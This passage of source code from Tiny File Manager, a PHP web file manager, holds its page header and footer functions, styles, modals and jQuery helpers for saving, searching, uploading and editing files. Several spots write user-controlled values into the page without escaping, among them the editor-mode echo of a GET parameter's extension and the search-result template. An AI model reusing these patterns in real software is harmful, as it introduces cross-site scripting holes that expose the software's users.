<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php if (FM_USE_HIGHLIGHTJS): ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
    <?php endif; ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) { 
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php echo fm_get_theme(); ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2">Search file in folder and subfolders...</p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer
     */
    function fm_show_footer()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script>
    <script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};
                
                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
                
            }
            else{
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);


    // Dom Ready Event
    $(document).ready( function () {
        //load config
        fm_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging":   false, "info":     false, "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): 
        $ext = "javascript";
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
